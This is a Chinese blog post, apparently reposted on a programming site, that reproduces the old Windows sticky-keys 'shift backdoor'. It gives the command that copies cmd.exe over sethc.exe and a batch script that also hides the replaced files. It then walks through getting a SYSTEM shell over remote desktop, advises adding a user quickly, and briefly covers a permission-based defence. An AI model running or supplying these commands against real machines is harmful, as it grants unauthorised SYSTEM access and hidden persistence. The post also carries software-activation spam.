《老漏洞复现与分析篇》 – 其一 – shift后门

《老漏洞复现与分析篇》 – 其一 – shift后门引言因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个“老”字,整一点多年前的老漏洞拿来复现和分析。俗话说得好,要善于总结前人的经验和智慧,才能在自己的前进道路上走得更快。本系列在我能理解的范围内我都会详细讲解,我不能理解的就靠收集网上的资料了,引用会注明来源和作者,如有侵权请联系我删除。那么废话…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

引言
因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个“老”字,整一点多年前的老漏洞拿来复现和分析。俗话说得好,要善于总结前人的经验和智慧,才能在自己的前进道路上走得更快。

本系列在我能理解的范围内我都会详细讲解,我不能理解的就靠收集网上的资料了,引用会注明来源和作者,如有侵权请联系我删除。那么废话不多说,开始我们的新篇章,Here we go!

0x01 shift后门

说到这个东西就先提一下它的来源—— Windows粘滞键
Windows粘滞键本身是为了不方便同时按组合键的人群使用的功能,在连按5次shift键后打开粘滞键,也就是启动了system32目录下的sethc.exe

《老漏洞复现与分析篇》 - 其一 - shift后门

在登入状态中,连按5次shift会以当前用户权限执行sethc.exe,而在登录界面还未登录时会默认以system用户(管理员权限)执行。

0x02 原理

原理也很简单,连按5次shift,windows会在system32目录下寻找sethc.exe并启动,我们只需要把cmd或者其他的shell程序替换掉,那么我们启动sethc.exe的时候就会默认以system用户执行我们的cmd,而且因为是系统自带的应用所以不会被杀毒软件检测

0x03 复现

如果我们在渗透过程中拿到较高权限的shell就可以直接在shell里面执行命令

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

或者在拿到远程桌面后直接在系统里面替换
这里再贴一个用的比较广泛的批处理,具体步骤可以自己分析

@copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
@attrib c:\windows\system32\sethc.exe +h
@attrib c:\windows\system32\dllcache\sethc.exe +h
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

我这里拿虚拟机做个演示,先打开3389端口

《老漏洞复现与分析篇》 - 其一 - shift后门

然后复制cmd到system32目录下并且命名sethc.exe,或者可以下载更隐藏的后门软件,我这里用的是黑基2012的后门,隐蔽性更高

《老漏洞复现与分析篇》 - 其一 - shift后门

替换成功

《老漏洞复现与分析篇》 - 其一 - shift后门

接下来我们用主机连接远程桌面试试

《老漏洞复现与分析篇》 - 其一 - shift后门

启动成功,并且为system权限

《老漏洞复现与分析篇》 - 其一 - shift后门

《老漏洞复现与分析篇》 - 其一 - shift后门

因为远程桌面存在时间限制自动断开连接,所以需要尽快添加用户

0x04 防御

防御方法其实也很简单粗暴,就是直接设置权限让所有人都用不了,这样无论是删除还是访问都会显示拒绝访问。
注意,这里不是直接删除,删除后系统可能会自动找回。

其实随着时代的发展,系统的更新换代,在权限分级更严格的今天,这种方法对很多系统已经不管用了,不过重要的是学到一个思路,说不定今后还能遇到用得上的地方呢
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/192897.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 全局数据库名称.数据库名称.SID是什么关系?

    全局数据库名称.数据库名称.SID是什么关系?

    2022年2月24日
    43
  • Tomcat启动一直卡在webapps/ROOT的解决方案

    Tomcat启动一直卡在webapps/ROOT的解决方案

    2021年6月1日
    122
  • cockpit二次开发_laravel api

    cockpit二次开发_laravel api背景:最近公司要基于cockpit,来定制自己的一个服务器管理web应用。嗯。。cockpit是啥?能干嘛?我要拿它干嘛?如你所见,我此刻是懵逼的。cockpit了解我熟练的打开了百度又打开了bing哦吼,二度懵逼。经过几番了解,大概是知道了LinuxCockpit是一个基于Web界面的应用,它提供了对系统的图形化管理。因为功能集成,对服务器管理来说,可以称得上是神器,深受linux开发者的喜爱。(呵呵。。)最后我大概是知道了,公司就是想让我在人..

    2025年7月27日
    0
  • Pytest(13)命令行参数–tb的使用[通俗易懂]

    Pytest(13)命令行参数–tb的使用[通俗易懂]前言pytest使用命令行执行用例的时候,有些用例执行失败的时候,屏幕上会出现一大堆的报错内容,不方便快速查看是哪些用例失败。–tb=style参数可以设置报错的时候回溯打印内容,可以设置参

    2022年7月28日
    4
  • java栈的实现_java技术栈

    java栈的实现_java技术栈一.数组实现的栈,能存储任意类型的数据。/***java使用数组来实现栈,能存储任意数据**@authorLinging*@date2019/2/10**/importjava.lang.reflect.Array;publicclassArrayStack<T>{ privatefinalstaticintDEFA…

    2022年9月3日
    2
  • js获取当前日期与时间_js获取只有年月日的日期

    js获取当前日期与时间_js获取只有年月日的日期vardate=newDate();date.getYear();//获取当前年份(2位)date.getFullYear();//获取完整的年份(4位)date.getMonth();//获取当前月份(0-11,0代表1月)date.getDate();//获取当前日(1-31)date.getDay();//获取当前星期X(0-6,0代表星期天)date.getTime();//获取当前时间(从1970.1.1开始的毫秒数)date.getH

    2022年9月23日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号